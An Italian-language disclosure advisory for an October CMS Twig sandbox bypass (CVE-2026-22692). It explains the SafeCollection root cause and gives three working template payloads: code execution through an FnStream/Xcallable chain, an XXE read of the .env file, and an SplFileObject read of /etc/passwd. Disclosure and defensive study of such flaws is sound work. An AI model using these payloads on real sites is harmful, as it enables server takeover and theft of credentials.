
CVE-2026-22692 - Bypass critico della sandbox di Twig tramite collect()->mapInto() che consente RCE/LFI/XXE in October CMS
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-22692 |
| Gravità | Moderata (CVSS:3.1 4.9) |
| Advisory | GHSA-m5qg-jc75-4jp6 |
| Prodotto interessato | October CMS (<= 4.1.4, <= 3.7.12) |
| Tipo di vulnerabilità | Bypass del sandbox Twig -> RCE, LFI, XXE |
| Scoperta da | Lukasz Rybak |
Esiste una vulnerabilità critica nel sandbox Twig di October CMS (Safe Mode) che consente agli utenti autenticati con privilegi di modifica dei template di bypassare le restrizioni di sicurezza ed eseguire codice PHP arbitrario (RCE) o leggere file arbitrari (XXE/LFI) dal server.
La causa principale si trova in October\Rain\Support\SafeCollection. Questa classe implementa l'interfaccia CallsAnyMethod, che comunica a System\Twig\SecurityPolicy di bypassare l'allow-listing standard dei metodi per l'oggetto collection stesso.
Sebbene SafeCollection tenti di filtrare gli argomenti per impedire l'esecuzione diretta di callable, non blocca il metodo mapInto($class). Il metodo mapInto itera sulla collection e istanzia il nome della classe fornito:
new $class($value, $key);
Ciò consente a un attaccante di istanziare qualsiasi classe nota all'applicazione.
System\Twig\SecurityPolicy include esplicitamente nell'allow-list il metodo __toString() su tutti gli oggetti. Istanziando Psy\Readline\Hoa\Xcallable (che incapsula un callable) e avvolgendolo in un GuzzleHttp\Psr7\FnStream (che chiama una funzione definita dall'utente nel suo metodo __toString tramite la proprietà _fn___toString), un attaccante può innescare l'esecuzione di funzioni PHP arbitrarie che non richiedono argomenti (ad es. php_uname, phpinfo) semplicemente stampando l'oggetto in Twig.
La classe SimpleXMLElement accetta un flag di opzione libxml come secondo argomento del costruttore. mapInto() passa la chiave della collection come secondo argomento al costruttore. Creando una collection con una chiave pari a 2 (che corrisponde a LIBXML_NOENT), un attaccante può abilitare la sostituzione di entità esterne in SimpleXMLElement, portando a una XXE immediata e alla possibilità di leggere file di sistema.
Esiste una vulnerabilità di Local File Inclusion (LFI) più diretta che utilizza la classe nativa PHP SplFileObject. Istanziando SplFileObject con un percorso di file e una modalità di lettura (passati tramite mapInto), un attaccante ottiene un oggetto file iterabile. Passando questo oggetto all'helper collect() si innesca un'iterazione immediata (tramite iterator_to_array all'interno del core del framework), che bypassa la policy di blocco dei metodi del Sandbox. Ciò consente di leggere qualsiasi file a cui il server web ha accesso, senza richiedere supporto XML o librerie specifiche del vendor.
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
/etc/passwd tramite SplFileObject){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
Esecuzione di codice remoto (RCE), Local File Inclusion (LFI), Iniezione di entità esterne XML (XXE).
/etc/passwd, configurazione del database, .env, ecc.) tramite molteplici vettori (SimpleXMLElement o SplFileObject).Questo riguarda qualsiasi installazione di October CMS in cui utenti non fidati o parzialmente fidati hanno accesso all'editor di template del CMS, consentendo loro di fatto di elevare i privilegi fino alla logica di livello System Administrator / Root.
Questo CVE è stato divulgato in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite hanno esclusivamente scopi educativi e difensivi.